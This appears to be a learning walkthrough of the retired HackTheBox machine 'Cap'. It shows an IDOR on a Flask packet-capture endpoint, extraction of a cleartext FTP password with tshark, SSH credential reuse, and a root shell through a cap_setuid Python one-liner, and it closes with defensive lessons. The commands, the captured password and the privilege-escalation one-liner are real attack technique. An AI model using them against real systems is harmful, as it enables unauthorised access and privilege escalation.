Retired HTB machine — walkthrough for learning. Personalize before publishing.
Cap is a great "Easy" box because every step teaches a durable lesson rather than a trick. The foothold is a textbook IDOR (insecure direct object reference) against a Flask app that hands out packet captures by numeric ID. One of those captures leaks cleartext FTP credentials, which are reused for SSH. Root falls to a misconfigured Linux capability — cap_setuid on the Python binary — which is one of the cleanest privilege-escalation primitives in the game. No exploit chains, no memory corruption, just enumeration and understanding how the pieces fit.
Recon
nmap
I always start with a full TCP port sweep, then re-scan the open ports with service and script detection.
nmap -p- --min-rate 10000 -oA scans/allports 10.10.10.245
nmap -p 21,22,80 -sCV -oA scans/tcp 10.10.10.245
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
80/tcp open http Gunicorn
|_http-server-header: gunicorn
|_http-title: Security Dashboard
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Three services: FTP (21), SSH (22), and HTTP (80). The web server header says Gunicorn, which almost always fronts a Python WSGI app — Flask or Django. The page title "Security Dashboard" hints at a custom application, so that's where I'll spend my enumeration time. FTP allows me to try anonymous login, and SSH I'll hold in reserve for credential reuse.
FTP anonymous login is worth a quick check:
ftp anonymous@10.10.10.245
It's rejected — no anonymous access. That's fine; the web app is the real attack surface.
Website Enumeration
Browsing to http://10.10.10.245/ returns a slick dark "Security Dashboard" showing security metrics — number of events, failed logins, and so on. The OpenSSH/vsftpd versions on the box are current, and the dashboard numbers are dynamically populated, which reinforces that this is a bespoke Flask app rather than an off-the-shelf product.
Looking at the navigation, three features stand out:
- Security Snapshot — an on-demand capture of network traffic.
- IP Config — runs
ifconfigand shows the output. - Network Status — runs
netstatand shows the output.
The interesting one is Security Snapshot. Clicking it takes me to a URL like:
http://10.10.10.245/data/1
The page reports "5 minutes of network traffic capture" and offers a Download button that pulls a .pcap file. That numeric 1 in the path is a screaming red flag — it's a direct object reference. If the app trusts the ID in the URL without checking whether the current session owns that capture, I can walk the IDs and read other users' data.
Mapping the endpoints
A quick directory feel with the browser and a look at the download link confirms the structure. The capture I generated lives at /download/1 (or is streamed off /data/1), and the ID clearly increments per generated snapshot.
# The capture I just generated for myself:
curl -s http://10.10.10.245/data/1
The lesson here: whenever an app exposes a resource by a small, guessable, sequential identifier and the resource is per-user, test the boundaries — decrement to zero, try neighbors, and see whether authorization is actually enforced.
IDOR on /data/{id}
My freshly generated capture is at index 1. The first thing I try is index 0 — captures generated before mine, potentially by the application itself or another user, on a security-monitoring host.
http://10.10.10.245/data/0
The page loads without complaint and offers a download. There's no session check, no ownership validation — the app simply reads capture_<id>.pcap off disk and streams it. That's the IDOR. I grab capture 0:
curl -s http://10.10.10.245/download/0 -o 0.pcap
file 0.pcap
0.pcap: pcap capture file, microsecond ts (little-endian) - version 2.4 (Ethernet, capture length 262144)
On a real security dashboard, capture 0 would be whatever traffic was flowing when the box first came online — including any interactive logins. That's exactly what makes this interesting on a box that also runs FTP.
Why this works: The vulnerability isn't the numeric ID by itself — it's the missing authorization check behind it. Object IDs in URLs are normal and fine. The bug is that the server never asks "does this session own object 0?" before serving it.
Analyzing the Capture
I open 0.pcap in Wireshark, or stay on the command line with tshark. FTP is a cleartext protocol — the control channel sends USER and PASS commands in plain ASCII — so a capture of an FTP login hands over credentials directly.
First, a protocol overview:
tshark -r 0.pcap -q -z io,phs
===================================================================
Protocol Hierarchy Statistics
Filter:
eth frames:X bytes:Y
ip frames:X bytes:Y
tcp frames:X bytes:Y
ftp frames:N bytes:M
ftp-data frames:N bytes:M
tcp.segments
===================================================================
FTP traffic is present. Now I pull just the FTP control commands, which carry the login:
tshark -r 0.pcap -Y ftp -T fields -e ftp.request.command -e ftp.request.arg
USER nathan
PASS <redacted-cleartext-password>
SYST
PWD
TYPE I
...
There it is — a username and password in cleartext on the FTP control channel. In Wireshark, the equivalent is right-clicking an FTP packet and choosing Follow → TCP Stream, which lays the whole conversation out in plain text:
220 (vsFTPd 3.0.3)
USER nathan
331 Please specify the password.
PASS Buck3tH4TF0RM3!
230 Login successful.
SYST
215 UNIX Type: L8
Why this matters: FTP predates ubiquitous encryption and transmits credentials in the clear. Anyone who can observe the traffic — a rogue switch port, a MITM, or in this case a leaked capture — reads the password directly. This is the entire argument for SFTP/FTPS over plain FTP.
Shell as user
Credential reuse is one of the most reliable moves in the game: people use the same password across services. I have FTP creds for nathan, and SSH is open. I try them straight against SSH.
ssh nathan@10.10.10.245
nathan@10.10.10.245's password: Buck3tH4TF0RM3!
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-77-generic x86_64)
...
nathan@cap:~$ id
uid=1001(nathan) gid=1001(nathan) groups=1001(nathan)
The password works over SSH. The user flag is in the home directory:
nathan@cap:~$ cat user.txt
HTB{...}
Before pivoting to root, it's worth confirming the same creds work over FTP too — useful to know the reuse is genuine and not a coincidence:
ftp nathan@10.10.10.245
# 230 Login successful.
Privesc — enumeration
With a shell, I run the usual baseline checks. sudo -l needs the password and returns nothing useful here, there's no obvious SUID oddity, so I go straight to the thing this box is teaching: Linux capabilities.
Capabilities split the monolithic power of root into discrete units that can be attached to individual binaries. Instead of a SUID-root binary that gets everything, a file can be granted exactly one privilege — for example cap_net_raw so ping can open raw sockets without being SUID root. The danger is when a powerful capability lands on a binary that can run arbitrary code.
getcap -r / walks the filesystem and reports every file with capabilities set:
nathan@cap:~$ getcap -r / 2>/dev/null
/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip
/usr/bin/ping = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/bin/gnome-keyring-daemon = cap_ids_override+ep
The line that matters:
/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip
Python — a full interpreter that runs arbitrary code — has been granted cap_setuid. That capability lets the process change its UID to anything, including 0 (root), without needing to already be root. This is a total win: I can tell Python to set my UID to 0 and then spawn a shell.
Why
cap_setuidis game over on an interpreter: The capability grants the ability to callsetuid(0). Normally only root may drop/assume arbitrary UIDs. Withcap_setuid+eponpython3.8, any user who runs that binary can invokeos.setuid(0)and become root. Attaching this to a general-purpose interpreter is equivalent to handing out root.
Privesc to root
The exploit is a one-liner. I set my UID to 0, then hand off to bash:
nathan@cap:~$ /usr/bin/python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash")'
root@cap:~# id
uid=0(gid=0(root) groups=0(root),1001(nathan)
os.setuid(0) succeeds because the interpreter carries cap_setuid in its effective set, and the subsequent os.system("/bin/bash") inherits the now-root UID. I'm root.
root@cap:~# cat /root/root.txt
HTB{...}
Doing it cleanly
If you want to preserve environment or be explicit, the same idea works with setgid too, and GTFOBins documents this exact primitive under python → capabilities:
/usr/bin/python3.8 -c 'import os; os.setuid(0); os.setgid(0); os.system("/bin/bash -p")'
Either way the result is the same instant root shell.
Lessons
Cap chains three independent, common mistakes, and each one is worth internalizing:
-
IDOR / broken object-level authorization. The
/data/{id}endpoint served resources by ID without checking ownership. The fix is an authorization check on every object access, not obfuscating the ID. This is consistently one of the OWASP top risks precisely because it's so easy to ship. -
Cleartext protocols leak everything. FTP sends credentials in plain text. A single leaked capture handed over
nathan's password. Use FTPS/SFTP, and never assume the transport is private. -
Credential reuse + over-broad capabilities. The FTP password worked for SSH, and
cap_setuidonpython3.8turned a normal user into root instantly. Capabilities are meant to reduce privilege by being narrow; putting a powerful one on an interpreter defeats the purpose entirely.
The through-line: enumerate boundaries, understand what each primitive actually grants, and remember that "least privilege" fails the moment a small privilege is attached to a big enough tool.